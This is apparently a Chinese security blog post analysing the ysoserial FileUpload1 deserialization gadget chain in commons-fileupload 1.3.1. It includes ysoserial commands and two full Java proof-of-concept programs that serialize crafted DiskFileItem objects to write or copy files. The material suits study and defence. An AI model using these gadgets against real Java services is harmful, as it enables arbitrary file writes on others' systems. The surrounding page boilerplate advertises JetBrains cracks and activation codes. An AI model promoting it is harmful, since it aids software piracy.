专注于 JetBrains IDEA 全家桶,永久激活,教程
持续更新 PyCharm,IDEA,WebStorm,PhpStorm,DataGrip,RubyMine,CLion,AppCode 永久激活教程

Java FileUpload1 链反序列化漏洞详解与利用方式分析

Java 安全 | FileUpload1 链

  • 前言

  • 简单使用方式

  • 对于某些使用方式的避坑

    正常使用演示

  • 链路分析

  • DiskFileItem::readObject -> 危险方法

    POC 构造

  • Ending...

前言

FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4

一条与文件上传核心组件 FileUpload 相关联的链子, 其功能为文件上传以及文件剪切, 分析肯定很简单 2333...

简单使用方式

首先看一下ysoserial中的注释信息:

img_1

通过注释可以看到, Gadget只有一个, 就是DiskFileItem这个类, 这是一个特别简单的链路, 但是从工具使用的描述上来看提供了多种使用方法:

copyAndDelete;sourceFile;destDir
write;destDir;ascii-data
writeB64;destDir;base64-data
writeOld;destFile;ascii-data
writeOldB64;destFile;base64-data

对于某些使用方式的避坑

其中比较关注的是copyAndDelete & write & writeB64, 对于writeOld & writeOldB64经过本地反序列化使用以及分析ysoserial中的代码段后发现并不能利用成功. 其原因则是ysoserial在生成payload时, 增加了\0, 如图:

img_2

这会导致将来在反序列化时调用到new File(path)时, 由于\0的加入, 导致抛出异常. 在DiskFileItem::readObject中存在如下判断:

img_3

正常使用演示

java -jar ysoserial-all.jar FileUpload1 "write;D:/tmp;123" > D:/1.ser

使用上述命令生成序列化文件后, 进行反序列化测试, 最终会在D:/tmp下生成一个随机文件, 文件内容为123:

img_4

java -jar ysoserial-all.jar FileUpload1 "copyAndDelete;D:/tmp/upload_e4e37f07_8e9d_48ca_be63_1dbaf653ac59_00000000.tmp;D:/" > D:/1.ser

随后使用上述命令生成序列化文件后, 进行反序列化测试后会发现, 最终会把D:/tmp/upload_e4e37f07_8e9d_48ca_be63_1dbaf653ac59_00000000.tmp拷贝到D:/随机文件中, 如图:

img_5

目前只能体会到Copy, 还没有体会到Delete. 基本功能理解完毕后开始分析这条链子.

链路分析

Maven pom.xml 文件引入:

<dependency>
    <groupId>commons-fileupload</groupId>
    <artifactId>commons-fileupload</artifactId>
    <version>1.3.1</version>
</dependency>
<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.4</version>
</dependency>

DiskFileItem::readObject -> 危险方法

img_6

DiskFileItem::readObject中存在两个分支, 一个用于文件上传, 一个用于文件拷贝.

而对于文件上传分支中可以看到, 我们在序列化文件中能够控制的也只有repository成员属性, 用于指明一个目录名, 而由于DiskFileItem::getTempFile方法返回的是随机的文件名, 所以导致之前的 Payload 打过去只能生成随机文件名. 文件内容我们只需要控制cachedContent成员属性即可.

ByteArrayOutputStream 与 FileOutputStream 的转化

初步的了解是有了, 但是我们可以注意到的是DiskFileItem529行主动实例化了DeferredFileOutputStream类, 我们可以看一下该分支的初始化逻辑:

img_7

乍一看该点是无法利用了, 但实际上在写入之前如果经过合理的 if 判断, 会将其转变为 FileOutputStream, 从而实现写文件操作:

img_8

在这里实际上最终会通过ByteArrayOutputStream::writeTo方法将使用FileOutputStream::write方法写入到硬盘中, 所以这里一定要合理的操控ThresholdingOutputStream::thresholdExceeded & written & threshold三个变量的条件, 使其能够进入该分支. 笔者这里打算将threshold定义为-100000.

ThresholdingOutputStream的子类实际上是DeferredFileOutputStream, 它是由DiskFileItem主动生成的:

img_9

所以只要控制好DiskFileItem::sizeThreshold的值即可, 将其赋值为负数~ 而它的赋值可以在DiskFileItem的构造方法中进行指明, 以及我们可以控制的repository:

POC 构造

在构造 POC 中, writeObject 中有它自己的逻辑:

img_10

所以在构造 POC 中还是要构造一下dfos的.

文件写入

编写 POC 如下:

package com.heihu577;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import java.io.*;
import java.lang.reflect.Field;
public class Main {
    public static void main(String[] args) throws Exception {
        String saveFileContent = "Hello World"; // 保存文件的内容
        String savePath = "D:/"; // 保存的目录
        DiskFileItem diskFileItem = new DiskFileItem("heihu577", "image/png", true,
                "asdf", -100, new File(savePath));
        setFieldValue(diskFileItem, "dfos", new DeferredFileOutputStream(999999, new File("heihu577牛逼")));
        setFieldValue(diskFileItem, "cachedContent", saveFileContent.getBytes("UTF-8"));
        unserialize(serialize(diskFileItem));
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field declaredField = obj.getClass().getDeclaredField(fieldName);
        declaredField.setAccessible(true);
        declaredField.set(obj, value);
    }
    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        return byteArrayOutputStream.toByteArray();
    }
    public static Object unserialize(byte[] bytes) throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        return new ObjectInputStream(byteArrayInputStream).readObject();
    }
}

运行 D 盘即可生成随机文件.

文件拷贝

package com.heihu577;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import java.io.*;
import java.lang.reflect.Field;
public class Main {
    public static void main(String[] args) throws Exception {
        String sourceFilePath = "D:/1.ser"; // 源文件
        String savePath = "D:/tmp"; // 保存的目录
        DiskFileItem diskFileItem = new DiskFileItem("heihu577", "image/png", true,
                "asdf", 0, new File(savePath));
        DeferredFileOutputStream deferredFileOutputStream = new DeferredFileOutputStream(0, new File(sourceFilePath));
        setFieldValue(deferredFileOutputStream, "written", 99999999); // 用来 Copy 文件
        setFieldValue(diskFileItem, "dfos", deferredFileOutputStream);
        setFieldValue(diskFileItem, "cachedContent", null);
        setFieldValue(diskFileItem, "dfosFile", new File("D:/1.ser"));
        unserialize(serialize(diskFileItem));
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field declaredField = null;
        while (declaredField == null) {
            try {
                declaredField = obj.getClass().getDeclaredField(fieldName);
            } catch (Exception e) {
                declaredField = obj.getClass().getSuperclass().getDeclaredField(fieldName);
            }
        }
        declaredField.setAccessible(true);
        declaredField.set(obj, value);
    }
    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        return byteArrayOutputStream.toByteArray();
    }
    public static Object unserialize(byte[] bytes) throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        return new ObjectInputStream(byteArrayInputStream).readObject();
    }
}

对于文件拷贝, 构造时需要注意written:

img_11

剩下的就是参考着writeObjectreadObject进行编写 POC 了, 需要特别注意writeObject时放入的什么内容, readObject时取出的什么内容. 懒得记了~

未经允许不得转载:搜云库 » Java FileUpload1 链反序列化漏洞详解与利用方式分析

JetBrains 全家桶,激活、破解、教程

提供 JetBrains 全家桶激活码、注册码、破解补丁下载及详细激活教程,支持 IntelliJ IDEA、PyCharm、WebStorm 等工具的永久激活。无论是破解教程,还是最新激活码,均可免费获得,帮助开发者解决常见激活问题,确保轻松破解并快速使用 JetBrains 软件。获取免费的破解补丁和激活码,快速解决激活难题,全面覆盖 2024/2025 版本!

联系我们联系我们